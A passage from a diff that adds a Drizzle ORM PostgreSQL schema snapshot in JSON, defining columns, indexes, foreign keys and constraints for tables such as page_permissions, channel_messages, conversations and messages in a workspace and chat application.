"driveId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "role": { + "name": "role", + "type": "MemberRole", + "typeSchema": "public", + "primaryKey": false, + "notNull": false + }, + "customRoleId": { + "name": "customRoleId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "addedBy": { + "name": "addedBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "mcp_token_drives_token_id_idx": { + "name": "mcp_token_drives_token_id_idx", + "columns": [ + { + "expression": "tokenId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "mcp_token_drives_drive_id_idx": { + "name": "mcp_token_drives_drive_id_idx", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "mcp_token_drives_token_drive_unique": { + "name": "mcp_token_drives_token_drive_unique", + "columns": [ + { + "expression": "tokenId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "mcp_token_drives_tokenId_mcp_tokens_id_fk": { + "name": "mcp_token_drives_tokenId_mcp_tokens_id_fk", + "tableFrom": "mcp_token_drives", + "tableTo": "mcp_tokens", + "columnsFrom": [ + "tokenId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "mcp_token_drives_driveId_drives_id_fk": { + "name": "mcp_token_drives_driveId_drives_id_fk", + "tableFrom": "mcp_token_drives", + "tableTo": "drives", + "columnsFrom": [ + "driveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "mcp_token_drives_customRoleId_drive_roles_id_fk": { + "name": "mcp_token_drives_customRoleId_drive_roles_id_fk", + "tableFrom": "mcp_token_drives", + "tableTo": "drive_roles", + "columnsFrom": [ + "customRoleId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "mcp_token_drives_addedBy_users_id_fk": { + "name": "mcp_token_drives_addedBy_users_id_fk", + "tableFrom": "mcp_token_drives", + "tableTo": "users", + "columnsFrom": [ + "addedBy" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.page_permissions": { + "name": "page_permissions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "pageId": { + "name": "pageId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "canView": { + "name": "canView", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "canEdit": { + "name": "canEdit", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "canShare": { + "name": "canShare", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "canDelete": { + "name": "canDelete", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "grantedBy": { + "name": "grantedBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "grantedAt": { + "name": "grantedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "expiresAt": { + "name": "expiresAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "note": { + "name": "note", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "page_permissions_page_id_idx": { + "name": "page_permissions_page_id_idx", + "columns": [ + { + "expression": "pageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "page_permissions_user_id_idx": { + "name": "page_permissions_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "page_permissions_expires_at_idx": { + "name": "page_permissions_expires_at_idx", + "columns": [ + { + "expression": "expiresAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "page_permissions_pageId_pages_id_fk": { + "name": "page_permissions_pageId_pages_id_fk", + "tableFrom": "page_permissions", + "tableTo": "pages", + "columnsFrom": [ + "pageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "page_permissions_userId_users_id_fk": { + "name": "page_permissions_userId_users_id_fk", + "tableFrom": "page_permissions", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "page_permissions_grantedBy_users_id_fk": { + "name": "page_permissions_grantedBy_users_id_fk", + "tableFrom": "page_permissions", + "tableTo": "users", + "columnsFrom": [ + "grantedBy" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "page_permissions_page_user_key": { + "name": "page_permissions_page_user_key", + "nullsNotDistinct": false, + "columns": [ + "pageId", + "userId" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.user_profiles": { + "name": "user_profiles", + "schema": "", + "columns": { + "userId": { + "name": "userId", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "username": { + "name": "username", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "displayName": { + "name": "displayName", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "bio": { + "name": "bio", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "avatarUrl": { + "name": "avatarUrl", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "isPublic": { + "name": "isPublic", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "user_profiles_is_public_idx": { + "name": "user_profiles_is_public_idx", + "columns": [ + { + "expression": "isPublic", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "user_profiles_userId_users_id_fk": { + "name": "user_profiles_userId_users_id_fk", + "tableFrom": "user_profiles", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.channel_message_attachments": { + "name": "channel_message_attachments", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "messageId": { + "name": "messageId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "fileId": { + "name": "fileId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "attachmentMeta": { + "name": "attachmentMeta", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "position": { + "name": "position", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "channel_message_attachments_message_position_idx": { + "name": "channel_message_attachments_message_position_idx", + "columns": [ + { + "expression": "messageId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "position", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "channel_message_attachments_file_id_idx": { + "name": "channel_message_attachments_file_id_idx", + "columns": [ + { + "expression": "fileId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "channel_message_attachments_messageId_channel_messages_id_fk": { + "name": "channel_message_attachments_messageId_channel_messages_id_fk", + "tableFrom": "channel_message_attachments", + "tableTo": "channel_messages", + "columnsFrom": [ + "messageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "channel_message_attachments_fileId_files_id_fk": { + "name": "channel_message_attachments_fileId_files_id_fk", + "tableFrom": "channel_message_attachments", + "tableTo": "files", + "columnsFrom": [ + "fileId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "channel_message_attachments_position_range": { + "name": "channel_message_attachments_position_range", + "value": "\"channel_message_attachments\".\"position\" >= 0 AND \"channel_message_attachments\".\"position\" < 10" + } + }, + "isRLSEnabled": false + }, + "public.channel_message_reactions": { + "name": "channel_message_reactions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "messageId": { + "name": "messageId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "emoji": { + "name": "emoji", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "unique_reaction_idx": { + "name": "unique_reaction_idx", + "columns": [ + { + "expression": "messageId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "emoji", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "reaction_message_idx": { + "name": "reaction_message_idx", + "columns": [ + { + "expression": "messageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "channel_message_reactions_messageId_channel_messages_id_fk": { + "name": "channel_message_reactions_messageId_channel_messages_id_fk", + "tableFrom": "channel_message_reactions", + "tableTo": "channel_messages", + "columnsFrom": [ + "messageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "channel_message_reactions_userId_users_id_fk": { + "name": "channel_message_reactions_userId_users_id_fk", + "tableFrom": "channel_message_reactions", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.channel_messages": { + "name": "channel_messages", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "content": { + "name": "content", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "pageId": { + "name": "pageId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "fileId": { + "name": "fileId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "attachmentMeta": { + "name": "attachmentMeta", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "isActive": { + "name": "isActive", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "editedAt": { + "name": "editedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "aiMeta": { + "name": "aiMeta", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "parentId": { + "name": "parentId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "replyCount": { + "name": "replyCount", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "lastReplyAt": { + "name": "lastReplyAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "mirroredFromId": { + "name": "mirroredFromId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "quotedMessageId": { + "name": "quotedMessageId", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "channel_messages_page_id_idx": { + "name": "channel_messages_page_id_idx", + "columns": [ + { + "expression": "pageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "channel_messages_file_id_idx": { + "name": "channel_messages_file_id_idx", + "columns": [ + { + "expression": "fileId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "channel_messages_parent_created_idx": { + "name": "channel_messages_parent_created_idx", + "columns": [ + { + "expression": "parentId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "createdAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "channel_messages_quoted_id_idx": { + "name": "channel_messages_quoted_id_idx", + "columns": [ + { + "expression": "quotedMessageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "channel_messages_pageId_pages_id_fk": { + "name": "channel_messages_pageId_pages_id_fk", + "tableFrom": "channel_messages", + "tableTo": "pages", + "columnsFrom": [ + "pageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "channel_messages_userId_users_id_fk": { + "name": "channel_messages_userId_users_id_fk", + "tableFrom": "channel_messages", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "channel_messages_fileId_files_id_fk": { + "name": "channel_messages_fileId_files_id_fk", + "tableFrom": "channel_messages", + "tableTo": "files", + "columnsFrom": [ + "fileId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "channel_messages_parentId_channel_messages_id_fk": { + "name": "channel_messages_parentId_channel_messages_id_fk", + "tableFrom": "channel_messages", + "tableTo": "channel_messages", + "columnsFrom": [ + "parentId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "channel_messages_mirroredFromId_channel_messages_id_fk": { + "name": "channel_messages_mirroredFromId_channel_messages_id_fk", + "tableFrom": "channel_messages", + "tableTo": "channel_messages", + "columnsFrom": [ + "mirroredFromId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "channel_messages_quotedMessageId_channel_messages_id_fk": { + "name": "channel_messages_quotedMessageId_channel_messages_id_fk", + "tableFrom": "channel_messages", + "tableTo": "channel_messages", + "columnsFrom": [ + "quotedMessageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.channel_read_status": { + "name": "channel_read_status", + "schema": "", + "columns": { + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "channelId": { + "name": "channelId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "lastReadAt": { + "name": "lastReadAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "channel_read_status_user_id_idx": { + "name": "channel_read_status_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "channel_read_status_channel_id_idx": { + "name": "channel_read_status_channel_id_idx", + "columns": [ + { + "expression": "channelId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "channel_read_status_userId_users_id_fk": { + "name": "channel_read_status_userId_users_id_fk", + "tableFrom": "channel_read_status", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "channel_read_status_channelId_pages_id_fk": { + "name": "channel_read_status_channelId_pages_id_fk", + "tableFrom": "channel_read_status", + "tableTo": "pages", + "columnsFrom": [ + "channelId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "channel_read_status_userId_channelId_pk": { + "name": "channel_read_status_userId_channelId_pk", + "columns": [ + "userId", + "channelId" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.channel_thread_followers": { + "name": "channel_thread_followers", + "schema": "", + "columns": { + "rootMessageId": { + "name": "rootMessageId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "channel_thread_followers_user_id_idx": { + "name": "channel_thread_followers_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "channel_thread_followers_rootMessageId_channel_messages_id_fk": { + "name": "channel_thread_followers_rootMessageId_channel_messages_id_fk", + "tableFrom": "channel_thread_followers", + "tableTo": "channel_messages", + "columnsFrom": [ + "rootMessageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "channel_thread_followers_userId_users_id_fk": { + "name": "channel_thread_followers_userId_users_id_fk", + "tableFrom": "channel_thread_followers", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "channel_thread_followers_rootMessageId_userId_pk": { + "name": "channel_thread_followers_rootMessageId_userId_pk", + "columns": [ + "rootMessageId", + "userId" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.pulse_summaries": { + "name": "pulse_summaries", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "summary": { + "name": "summary", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "greeting": { + "name": "greeting", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "type": { + "name": "type", + "type": "pulse_summary_type", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'scheduled'" + }, + "contextData": { + "name": "contextData", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "orgIds": { + "name": "orgIds", + "type": "text[]", + "primaryKey": false, + "notNull": true, + "default": "ARRAY[]::text[]" + }, + "aiProvider": { + "name": "aiProvider", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "aiModel": { + "name": "aiModel", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "periodStart": { + "name": "periodStart", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "periodEnd": { + "name": "periodEnd", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "generatedAt": { + "name": "generatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "expiresAt": { + "name": "expiresAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "idx_pulse_summaries_user_id": { + "name": "idx_pulse_summaries_user_id", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_pulse_summaries_generated_at": { + "name": "idx_pulse_summaries_generated_at", + "columns": [ + { + "expression": "generatedAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_pulse_summaries_expires_at": { + "name": "idx_pulse_summaries_expires_at", + "columns": [ + { + "expression": "expiresAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_pulse_summaries_user_generated": { + "name": "idx_pulse_summaries_user_generated", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "generatedAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "pulse_summaries_userId_users_id_fk": { + "name": "pulse_summaries_userId_users_id_fk", + "tableFrom": "pulse_summaries", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.user_dashboards": { + "name": "user_dashboards", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "content": { + "name": "content", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "''" + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": {}, + "foreignKeys": { + "user_dashboards_userId_users_id_fk": { + "name": "user_dashboards_userId_users_id_fk", + "tableFrom": "user_dashboards", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "user_dashboards_userId_unique": { + "name": "user_dashboards_userId_unique", + "nullsNotDistinct": false, + "columns": [ + "userId" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.conversations": { + "name": "conversations", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "title": { + "name": "title", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "type": { + "name": "type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "contextId": { + "name": "contextId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "agentPageId": { + "name": "agentPageId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "rev": { + "name": "rev", + "type": "bigint", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "planPageId": { + "name": "planPageId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "chosenWalletId": { + "name": "chosenWalletId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "lastMessageAt": { + "name": "lastMessageAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "isActive": { + "name": "isActive", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "isShared": { + "name": "isShared", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + } + }, + "indexes": { + "conversations_user_id_idx": { + "name": "conversations_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "conversations_user_id_type_idx": { + "name": "conversations_user_id_type_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "type", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "conversations_user_id_last_message_at_idx": { + "name": "conversations_user_id_last_message_at_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "lastMessageAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "conversations_context_id_idx": { + "name": "conversations_context_id_idx", + "columns": [ + { + "expression": "contextId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "conversations_plan_page_id_idx": { + "name": "conversations_plan_page_id_idx", + "columns": [ + { + "expression": "planPageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "conversations_agent_page_id_idx": { + "name": "conversations_agent_page_id_idx", + "columns": [ + { + "expression": "agentPageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "conversations_userId_users_id_fk": { + "name": "conversations_userId_users_id_fk", + "tableFrom": "conversations", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "conversations_agentPageId_pages_id_fk": { + "name": "conversations_agentPageId_pages_id_fk", + "tableFrom": "conversations", + "tableTo": "pages", + "columnsFrom": [ + "agentPageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "conversations_planPageId_pages_id_fk": { + "name": "conversations_planPageId_pages_id_fk", + "tableFrom": "conversations", + "tableTo": "pages", + "columnsFrom": [ + "planPageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "conversations_global_context_null_chk": { + "name": "conversations_global_context_null_chk", + "value": "\"conversations\".\"type\" <> 'global' OR \"conversations\".\"contextId\" IS NULL" + }, + "conversations_page_context_present_chk": { + "name": "conversations_page_context_present_chk", + "value": "\"conversations\".\"type\" <> 'page' OR \"conversations\".\"contextId\" IS NOT NULL" + }, + "conversations_drive_context_present_chk": { + "name": "conversations_drive_context_present_chk", + "value": "\"conversations\".\"type\" <> 'drive' OR \"conversations\".\"contextId\" IS NOT NULL" + } + }, + "isRLSEnabled": false + }, + "public.messages": { + "name": "messages", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "conversationId": { + "name": "conversationId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "role": { + "name": "role", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "messageType": { + "name": "messageType", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'standard'" + }, + "content": { + "name": "content", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "toolCalls": { + "name": "toolCalls", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "toolResults": { + "name": "toolResults", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "isActive": { + "name": "isActive", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "editedAt": { + "name": "editedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'complete'" + }, + "sourceAgentId": { + "name": "sourceAgentId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "source": { + "name": "source", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "messages_conversation_id_idx": { + "name": "messages_conversation_id_idx", + "columns": [ + { + "expression": "conversationId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "messages_conversation_id_created_at_idx": { + "name": "messages_conversation_id_created_at_idx", + "columns": [ + { + "expression": "conversationId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "createdAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "messages_user_id_idx": { + "name": "messages_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "messages_conversationId_conversations_id_fk": { + "name": "messages_conversationId_conversations_id_fk", + "tableFrom": "messages", + "tableTo": "conversations", + "columnsFrom": [ + "conversationId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "messages_userId_users_id_fk": { + "name": "messages_userId_users_id_fk", + "tableFrom": "messages", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "messages_sourceAgentId_pages_id_fk": { + "name": "messages_sourceAgentId_pages_id_fk", 